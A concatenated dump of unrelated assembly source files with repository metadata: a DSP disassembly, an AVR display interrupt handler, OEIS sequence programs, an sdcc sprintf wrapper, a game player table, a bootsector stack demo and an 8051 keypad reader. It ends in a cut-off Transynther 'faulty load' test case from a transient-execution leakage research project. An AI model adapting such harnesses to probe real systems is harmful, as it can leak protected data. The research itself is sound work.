07B8: 5100006F ldi #0x6f, ah 07B9: 527FFFFF ldi #0x7fffff, al 07BA: 1CBF1E10 fcpd 07BB: BE2C3800 ldif led $0, p 07BC: 1C1CB827 mov p, $0x27 (e) 07BD: BF6A0000 rtif alw 07BE: 1C1F3221 mov rf1, d 07BF: 5F000004 ldi #0x4, sft 07C0: 1EFDA06A lsld : mov $0x6a, a 07C1: 1F5F1E10 addd 07C2: 1C1F4619 mov d, rf3 07C3: 3900FFFF lia #0xffff 07C4: 1C3F1E10 andd 07C5: 1C1F0419 mov d, x0 07C6: 43000056 ldi #0x56, x1 07C7: 3C040010 rep #0x10 07C8: 1C0B43A1 mov (x0+1) (e), (x1+1) 07C9: 63000000 ldi #0x0, rf3 07CA: BF6A0000 rtif alw 07CB: 1C1F0610 mov a, x1 07CC: 39800000 lia #0x800000 07CD: 1C1F4610 mov a, rf3 07CE: 41000010 ldi #0x10, b1 07CF: 1C1E3380 mov (bx1) (e), d 07D0: 1F5F1E10 addd 07D1: 1C1C3269 mov d, $0x69 07D2: 41000020 ldi #0x20, b1 07D3: 1C1E3380 mov (bx1) (e), d 07D4: 1F5F1E10 addd 07D5: 1C1C326A mov d, $0x6a 07D6: 63000000 ldi #0x0, rf3 07D7: 41000200 ldi #0x200, b1 07D8: BF6A0000 rtif alw 07D9: 1C1F3221 mov rf1, d 07DA: 5F000002 ldi #0x2, sft 07DB: 1F1F1E10 asrd 07DC: 1C1F0619 mov d, x1 07DD: 39400000 lia #0x400000 07DE: 1C1F4610 mov a, rf3 07DF: 40000200 ldi #0x200, b0 07E0: 1C1D8407 mov $7, x0 07E1: 3C04000C rep #0xc 07E2: 1C074381 mov (bx0+1), (x1+1) (e) 07E3: 40000000 ldi #0x0, b0 07E4: 39000000 lia #0x0 07E5: 1C1F4610 mov a, rf3 07E6: BF60004C brif alw #0x4c 07E7: 000007E7 lab [x0+7], $3 (e) 07E8: 00000000 lab $0, $0 (e) 07E9: 00000000 lab $0, $0 (e) 07EA: 00000000 lab $0, $0 (e) 07EB: 00000000 lab $0, $0 (e) 07EC: 00000000 lab $0, $0 (e) 07ED: 00000000 lab $0, $0 (e) 07EE: 00000000 lab $0, $0 (e) 07EF: 00000000 lab $0, $0 (e) 07F0: 00000000 lab $0, $0 (e) 07F1: 00000000 lab $0, $0 (e) 07F2: 00000000 lab $0, $0 (e) 07F3: 00000000 lab $0, $0 (e) 07F4: 00000000 lab $0, $0 (e) 07F5: 00000000 lab $0, $0 (e) 07F6: 00000000 lab $0, $0 (e) 07F7: 00000000 lab $0, $0 (e) 07F8: 00000000 lab $0, $0 (e) 07F9: 00000000 lab $0, $0 (e) 07FA: 00000000 lab $0, $0 (e) 07FB: 00000000 lab $0, $0 (e) 07FC: 00000000 lab $0, $0 (e) 07FD: 00000000 lab $0, $0 (e) 07FE: 00000000 lab $0, $0 (e) 07FF: 00000000 lab $0, $0 (e)
29.336436
59
0.705936
969a50e3c9d31fa0be68634a1420c47789a19203
2,189
asm
Assembly
microcontrollers/nm5101/masterkit/timekey.asm
sergev/vak-opensource
e1912b83dabdbfab2baee5e7a9a40c3077349381
[ "Apache-2.0" ]
34
2016-10-29T19:50:34.000Z
2022-02-12T21:27:43.000Z
microcontrollers/nm5101/masterkit/timekey.asm
sergev/vak-opensource
e1912b83dabdbfab2baee5e7a9a40c3077349381
[ "Apache-2.0" ]
null
null
null
microcontrollers/nm5101/masterkit/timekey.asm
sergev/vak-opensource
e1912b83dabdbfab2baee5e7a9a40c3077349381
[ "Apache-2.0" ]
19
2017-06-19T23:04:00.000Z
2021-11-13T15:00:41.000Z
;---------------------------------------------------------------------------- ; I N T E R R U P T P R O G R A M M ;---------------------------------------------------------------------------- ;============================== Entrance ==================================== TimeKey: ;sei ;global INT enable push r16 ;push R16 ldi r16,99 out TCNT0,r16 ;T/C0 start from 99 in r16,sreg ;push sreg push r16 ;push sreg push XL ; push XH ; push YL ; push YH ; push R17 ; push R18 ; push R19 ; push R20 ; push R21 ; push R22 ; push R23 ; push R24 ; push R25 ; push R0 ;Push Rx in STACK ;============================ BUTTONS CAPTURE =============================== lds r16,BUT_FL tst r16 brne HD2 in r16,PINB ;GET PORTB State andi r16,0b10000000 tst r16 brne HD2 in r16,PINB ;GET PORTB State andi r16,0b10000000 tst r16 brne HD2 in r16,PINB ;GET PORTB State andi r16,0b10000000 tst r16 brne HD2 ser r16 sts BUT_FL,r16 lds r16,EFF inc r16 cpi r16,13 brne BC1 ldi r16,1 BC1: sts EFF,r16 ;cpi r16,1 ;brne BC2 ;rjmp EFF1 ; BC2: ;cpi r16,2 ;brne BC3 ;rjmp EFF2 BC3: ;===================== HardWare DIGIT DISPLAY =============================== HD2: lds r16,NUMBER lds r17,POSITION lds XL,ADRES out PORTB,r17 ld r18,X+ out PORTD,r18 sec rol r17 dec r16 tst r16 brne HD1 ldi r16,7 ldi r17,0b111111110 ldi XL,PIC_BUF1 HD1: sts NUMBER,r16 sts POSITION,r17 sts ADRES,XL ;============================= DELAY 025s ================================== tst DEL25 breq EXIT dec DEL25 rjmp EXIT ;============================== EXIT ======================================= EXIT: pop r0 ; pop r25 ; pop R24 pop r23 ; pop r22 ; pop r21 ; pop r20 ; pop R19 ; pop R18 ; pop R17 ; pop YH ; pop YL ; pop XH ; pop XL ; pop r16 ;Pop Rx from STACK out sreg,r16 ;Pop sreg pop r16 ;pop R16 RETI
16.335821
78
0.419826
c0ba7eb5b6126df272a1b49803a9d6ee311db547
481
asm
Assembly
oeis/341/A341441.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/341/A341441.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/341/A341441.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A341441: Total number of triangles visible in a regular (2n+1)-gon with all diagonals drawn. ; Submitted by Jon Maiga ; 1,35,287,1302,4257,11297,25935,53516,101745,181279,306383,495650,772785,1167453,1716191,2463384,3462305,4776219,6479551,8659118,11415425,14864025,19136943,24384164,30775185,38500631,47773935,58833082,71942417,87394517,105512127 mul $0,2 mov $3,12 lpb $0 div $3,2 mov $2,$3 add $2,$0 bin $2,$0 sub $0,1 add $1,$2 add $3,4 lpe mov $0,$1 add $0,1
26.722222
229
0.731809
034993bcb599dc313d200e31ebeb08d15d141286
1,031
asm
Assembly
programs/oeis/277/A277229.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/277/A277229.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/277/A277229.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A277229: Convolution of the odd-indexed triangular numbers (A000384(n+1)) and the squares (A000290). ; 0,1,10,48,158,413,924,1848,3396,5841,9526,14872,22386,32669,46424,64464,87720,117249,154242,200032,256102,324093,405812,503240,618540,754065,912366,1096200,1308538,1552573,1831728,2149664,2510288,2917761,3376506,3891216,4466862,5108701,5822284,6613464,7488404,8453585,9515814,10682232,11960322,13357917,14883208,16544752,18351480,20312705,22438130,24737856,27222390,29902653,32789988,35896168,39233404,42814353,46652126,50760296,55152906,59844477,64850016,70185024,75865504,81907969,88329450,95147504,102380222,110046237,118164732,126755448,135838692,145435345,155566870,166255320,177523346,189394205,201891768,215040528,228865608,243392769,258648418,274659616,291454086,309060221,327507092,346824456,367042764,388193169,410307534,433418440,457559194,482763837,509067152,536504672,565112688,594928257,625989210,658334160 lpb $0 add $3,$0 sub $0,1 add $2,$3 add $1,$2 add $4,$3 add $2,$4 add $3,$0 lpe mov $0,$1
73.642857
822
0.821532
1210a5c112fe971e7a293afb486fa6c5e5146f08
355
asm
Assembly
oeis/071/A071224.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/071/A071224.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/071/A071224.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A071224: LCM of n and n-th composite number. ; Submitted by Christian Krause ; 4,6,24,36,10,12,14,120,144,90,220,84,286,168,75,208,459,252,570,160,231,374,805,72,950,78,1080,84,1276,90,1426,96,1617,850,1785,468,1998,2090,2184,2280,2378,420,2666,2772,2880,2990,3102,816,3381 mov $1,$0 add $0,1 seq $1,171527 ; Numerator of (n-th composite/n). mul $0,$1
39.444444
196
0.71831
c2f764e057fd8ad3b50a197b7e0cf00f8d458167
418
asm
Assembly
oeis/338/A338432.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/338/A338432.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/338/A338432.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A338432: Triangle read by rows: T(n, k) = (n - k + 1)^2 + 2*k^2, for n >= 1, and k = 1, 2, ..., n. ; Submitted by Christian Krause ; 3,6,9,11,12,19,18,17,22,33,27,24,27,36,51,38,33,34,41,54,73,51,44,43,48,59,76,99,66,57,54,57,66,81,102,129,83,72,67,68,75,88,107,132,163,102,89,82,81,86,97,114,137,166,201 lpb $0 add $2,1 sub $0,$2 lpe sub $2,$0 add $0,1 pow $0,2 add $2,1 pow $2,2 add $2,$0 add $2,$0 mov $0,$2
24.588235
173
0.590909
98417c5c49fe49ebc08eb7ef3584e6ec1c9deee9
1,830
asm
Assembly
Experiments/Keypad Matrix/main.asm
tustunkok/CMPE236-Labs
0592cf993a9c0b360973654bc6171a29a0e3335c
[ "MIT" ]
null
null
null
Experiments/Keypad Matrix/main.asm
tustunkok/CMPE236-Labs
0592cf993a9c0b360973654bc6171a29a0e3335c
[ "MIT" ]
null
null
null
Experiments/Keypad Matrix/main.asm
tustunkok/CMPE236-Labs
0592cf993a9c0b360973654bc6171a29a0e3335c
[ "MIT" ]
null
null
null
; GLOBAL 7SEG CONSTANTS N0 EQU 11000000B ; #DEFINE N0 11000000B N1 EQU 11111001B N2 EQU 10100100B N3 EQU 10110000B N4 EQU 10011001B N5 EQU 10010010B N6 EQU 10000010B N7 EQU 11111000B N8 EQU 10000000B N9 EQU 10010000B NA EQU 10001000B NB EQU 10000011B NC EQU 11000110B ND EQU 10100001B NE_ EQU 10000110B NF EQU 10001110B ORG 00H SJMP MAIN ORG 30H MAIN: MOV P1, #0F0H LP1: MOV A, P1 ORL A, #0FH CPL A JZ LP1 MOV R2, #00D ; FIND COLUMN ACALL FIND_ROW_COL MOV R2, A ; PASS COLUMN DATA TO DECODE_KEY ACALL DECODE_KEY MOV R2, A ACALL WRT2LED SJMP MAIN ; ================================================== DECODE_KEY: MOV P1, #0FH PUSH 02H ; R2 HOLDS THE COLUMN NUMBER MOV R2, #01D ACALL FIND_ROW_COL POP 02H MOV R3, A ; R3 HOLDS THE ROW NUMBER MOV A, R3 MOV B, #04D MUL AB ADD A, R2 MOV DPTR, #MATRIX_LOOKUP MOVC A, @A+DPTR RET ; ================================================== FIND_ROW_COL: CJNE R2, #00H, PASS_ROW_DATA MOV DPTR, #COL_DATA SJMP CNT1 PASS_ROW_DATA: MOV DPTR, #ROW_DATA CNT1: MOV R2, P1 MOV R3, #04D LP2: MOV A, R3 DEC A MOVC A, @A+DPTR CLR C SUBB A, R2 JZ FOUND DJNZ R3, LP2 FOUND: MOV A, #04D CLR C SUBB A, R3 RET ; ================================================== WRT2LED: MOV DPTR, #LED_DATA MOV A, #0FH CLR C SUBB A, R2 JC EXT1 MOV A, R2 MOVC A, @A+DPTR MOV P2, A EXT1: RET ; ================================================== ORG 0200H COL_DATA: DB 70H, 0B0H, 0D0H, 0E0H ROW_DATA: DB 07H, 0BH, 0DH, 0EH ;MATRIX_LOOKUP: DB '1', '2', '3', 'A', '4', '5', '6', 'B', '7', '8', '9', 'C', '*', '0', '#', 'D' MATRIX_LOOKUP: DB 01, 02, 03, 0AH, 04, 05, 06, 0BH, 07, 08, 09, 0CH, 0EH, 00, 0EH, 0DH LED_DATA: DB N0, N1, N2, N3, N4, N5, N6, N7, N8, N9, NA, NB, NC, ND, NE_, NF END
18.865979
97
0.560109
12ad1cad4ede9f32923b4ea429f43725bae54595
711
asm
Assembly
oeis/162/A162271.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/162/A162271.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/162/A162271.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A162271: a(n) = ((5+sqrt(2))*(4+sqrt(2))^n + (5-sqrt(2))*(4-sqrt(2))^n)/2. ; Submitted by Christian Krause ; 5,22,106,540,2836,15128,81320,438768,2371664,12830560,69441184,375901632,2035036480,11017668992,59650841216,322959363840,1748563133696,9467073975808,51256707934720,277514627816448,1502523111445504,8134980102133760,44044517256833024,238466416624791552,1291108091402670080,6990334898474278912,37847165908156850176,204912638686614896640,1109440786778723270656,6006749352617177612288,32521823806035295109120,176080099511641874300928,953335262808640862879744,5161560709306140662824960 mov $1,5 mov $3,1 lpb $0 sub $0,1 mov $2,$3 mul $2,2 mul $3,4 add $3,$1 mul $1,4 add $1,$2 lpe mov $0,$1
41.823529
481
0.794655
0ed0e9b39639fde6c4729611994181dfb5412ba6
605
asm
Assembly
libsrc/stdio/_sprintf.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
null
null
null
libsrc/stdio/_sprintf.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
null
null
null
libsrc/stdio/_sprintf.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
null
null
null
MODULE _sprintf SECTION code_clib PUBLIC _sprintf EXTERN asm_printf EXTERN sprintf_outc ;sdcc version ;sprintf(buf,fmt,...) _sprintf: ld hl,2 add hl,sp ;points to buf IF !__CPU_INTEL__ push ix ;save callers ENDIF ld bc,65535 push bc ld c,(hl) ;buf inc hl ld b,(hl) inc hl push bc ex de,hl ld hl,0 add hl,sp push hl ;save fp ld bc,sprintf_outc push bc ld bc,0 ;sdcc push bc ex de,hl ld c,(hl) inc hl ld b,(hl) inc hl push bc ;fmt push hl ;&ap call asm_printf ex de,hl ld hl,4+10 add hl,sp ld sp,hl ex de,hl IF !__CPU_INTEL__ pop ix ;restore ix ENDIF ret
10.803571
25
0.672727
a22d92e6da176cff82e604531db05cdf8e53a11e
312
asm
Assembly
libsrc/target/pc88/stdio/conio_vars.asm
ahjelm/z88dk
c4de367f39a76b41f6390ceeab77737e148178fa
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/target/pc88/stdio/conio_vars.asm
C-Chads/z88dk
a4141a8e51205c6414b4ae3263b633c4265778e6
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/target/pc88/stdio/conio_vars.asm
C-Chads/z88dk
a4141a8e51205c6414b4ae3263b633c4265778e6
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
SECTION data_clib PUBLIC __pc88_mode PUBLIC __pc88_gfxmode PUBLIC __pc88_ink PUBLIC __pc88_textink PUBLIC __pc88_paper PUBLIC __pc88_attr __pc88_mode: defb 0 __pc88_gfxmode: defb 0 __pc88_ink: defb 7 __pc88_paper: defb 0 ; Order is important here __pc88_textink: defb @11101000 __pc88_attr: defb 0
14.181818
30
0.810897
cbdc29f9a04f18a481811b2f85be6db8ebec301c
5,272
asm
Assembly
src/multiworld/playertable.asm
PJBoy/alttp_sm_combo_randomizer_rom
4f14c87227b512a864d1f298e4a6efe7cbc373b3
[ "MIT" ]
31
2018-05-03T06:43:23.000Z
2021-07-16T13:17:01.000Z
src/multiworld/playertable.asm
PJBoy/alttp_sm_combo_randomizer_rom
4f14c87227b512a864d1f298e4a6efe7cbc373b3
[ "MIT" ]
13
2018-05-08T20:15:54.000Z
2022-01-20T21:28:53.000Z
src/multiworld/playertable.asm
PJBoy/alttp_sm_combo_randomizer_rom
4f14c87227b512a864d1f298e4a6efe7cbc373b3
[ "MIT" ]
26
2018-05-04T12:25:41.000Z
2022-03-23T20:27:57.000Z
; Player table for multiworld ; 16-bytes per player (supports up to 256 players as is) ; (12-byte name, 4 bytes of data if needed) rando_player_table: db " Player 1 " : dw $0000, $0000 db " Player 2 " : dw $0000, $0000 db " Player 3 " : dw $0000, $0000 db " Player 4 " : dw $0000, $0000 db " Player 5 " : dw $0000, $0000 db " Player 6 " : dw $0000, $0000 db " Player 7 " : dw $0000, $0000 db " Player 8 " : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000 db "123456789012" : dw $0000, $0000
39.343284
56
0.596737
7ce635d375745d2fad7d9845d9410760b585a085
2,108
asm
Assembly
programs/oeis/187/A187275.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/187/A187275.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/187/A187275.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A187275: a(n) = (n/4)*5^(n/2)*((1+sqrt(5))^2+(-1)^n*(1-sqrt(5))^2). ; 0,5,30,75,300,625,2250,4375,15000,28125,93750,171875,562500,1015625,3281250,5859375,18750000,33203125,105468750,185546875,585937500,1025390625,3222656250,5615234375,17578125000,30517578125,95214843750,164794921875,512695312500,885009765625,2746582031250,4730224609375,14648437500000,25177001953125,77819824218750,133514404296875,411987304687500,705718994140625,2174377441406250,3719329833984375,11444091796875000,19550323486328125,60081481933593750,102519989013671875,314712524414062500,536441802978515625,1645088195800781250,2801418304443359375,8583068847656250000,14603137969970703125,44703483581542968750,75995922088623046875,232458114624023437500,394880771636962890625,1206994056701660156250,2048909664154052734375,6258487701416015625000,10617077350616455078125,32410025596618652343750,54948031902313232421875,167638063430786132812500,284053385257720947265625,866129994392395019531250,1466833055019378662109375,4470348358154296875000000,7566995918750762939453125,23050233721733093261718750,38999132812023162841796875,118743628263473510742187500,200816430151462554931640625,611180439591407775878906250,1033185981214046478271484375,3143213689327239990234375000,5311449058353900909423828125,16152625903487205505371093750,27284841053187847137451171875,82945916801691055297851562500,140062184073030948638916015625,425643520429730415344238281250,718500814400613307952880859375,2182787284255027770996093750000,3683453542180359363555908203125,11186784831807017326354980468750,18872015061788260936737060546875,57298166211694478988647460937500,96633812063373625278472900390625,293312041321769356727600097656250,494537744089029729366302490234375,1500666257925331592559814453125000,2529532139305956661701202392578125,7673861546209082007408142089843750,12931877790833823382854461669921875,39221959013957530260086059570312500,66080474425689317286014556884765625,200373051484348252415657043457031250,337507799486047588288784027099609375 mov $1,$0 lpb $1 mul $0,5 sub $1,2 lpe mul $0,2 add $1,1 mul $1,$0 mul $1,2 add $0,$1 div $0,10 mul $0,5
131.75
1,927
0.909867
a8b73729a0e6f7fa406cc040064fc064efbaf8fe
761
asm
Assembly
oeis/263/A263688.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/263/A263688.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/263/A263688.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A263688: c(n) in (sqrt(2))_n = b(n) + c(n)*sqrt(2), where (x)_n is the Pochhammer symbol, b(n) and c(n) are integers. ; Submitted by Jon Maiga ; 0,1,1,4,18,98,630,4676,39368,370748,3861900,44087008,547360968,7342948312,105848450344,1631635791184,26782838577600,466413214471568,8588795078851344,166747235206457024,3404055687248777120,72895914363584236064,1633918325381940384864,38257181585809956917056,934024538527352795763072,23737618615063734105575872,627013227023422466405214400,17189138181009839438892166144,488417408579734747904170300032,14366454014291257862654761715072,436945465305249125310260243134080,13726327535019333046538009265965312 mov $2,1 lpb $0 sub $0,1 add $3,$4 mov $4,$2 mul $2,$0 add $2,$3 mul $3,$0 add $3,$4 lpe mov $0,$3
47.5625
501
0.805519
dfaa4dafe93beb619c747b436df9beef03dc710d
660
asm
Assembly
04_bootsector_stack/boot_sect_stack.asm
cristicretu/CrtOS
42216f6267b8d661b386c20addc52ccc354fbf53
[ "MIT" ]
1
2022-01-27T17:11:56.000Z
2022-01-27T17:11:56.000Z
04_bootsector_stack/boot_sect_stack.asm
cristicretu/CrtOS
42216f6267b8d661b386c20addc52ccc354fbf53
[ "MIT" ]
null
null
null
04_bootsector_stack/boot_sect_stack.asm
cristicretu/CrtOS
42216f6267b8d661b386c20addc52ccc354fbf53
[ "MIT" ]
null
null
null
mov ah, 0x0e ; tty ; bp register => stores the base address (bottom) ; sp register => stores the top ; stack grows downwards ; from bp mov bp, 0x8000 ; address far from 0x7c00 (avoid overwritten) mov sp, bp ; stack.empty => sp points to bp push 'A' push 'B' push 'C' ; show how the stack grown downwards mov al, [0x7ffe] ; 0x8000 - 2 int 0x10 ; prints C (stack.top()) ; can't acces [0x8000] ; only the top of the stack -> 0x7ffe mov al, [0x8000] int 0x10 ; prints ' ' ; pop from the stack pop bx mov al, bl int 0x10 ; prints C pop bx mov al, bl int 0x10 pop bx mov al, bl int 0x10 mov al, [0x8000] int 0x10 jmp $ times 510 - ($ - $$) db 0 dw 0xaa55
15.348837
60
0.665152
14b07de36f043ba4e46926ea864defa081e8377d
6,252
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca.log_21829_49.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca.log_21829_49.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca.log_21829_49.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r8 push %rax push %rcx push %rdi push %rsi lea addresses_WT_ht+0x108e, %rax nop nop nop nop sub $15674, %rdi mov (%rax), %si nop nop nop nop add %r12, %r12 lea addresses_normal_ht+0x113f6, %rsi lea addresses_WC_ht+0x352e, %rdi nop nop add %r8, %r8 mov $56, %rcx rep movsl and %rcx, %rcx lea addresses_D_ht+0x1c90e, %rsi lea addresses_WC_ht+0x240e, %rdi nop nop nop and %r10, %r10 mov $53, %rcx rep movsq nop nop nop nop and $56888, %rdi lea addresses_normal_ht+0x210e, %rax clflush (%rax) nop nop nop nop inc %r10 mov $0x6162636465666768, %rsi movq %rsi, (%rax) nop inc %r12 lea addresses_normal_ht+0x1390e, %rsi lea addresses_WC_ht+0x10b8e, %rdi xor $56067, %r10 mov $72, %rcx rep movsq nop nop nop nop cmp $35487, %r8 pop %rsi pop %rdi pop %rcx pop %rax pop %r8 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r14 push %r15 push %r8 push %r9 push %rax push %rcx // Store lea addresses_WC+0xd10e, %r9 nop nop nop nop and %r12, %r12 movl $0x51525354, (%r9) nop cmp $11156, %rcx // Store lea 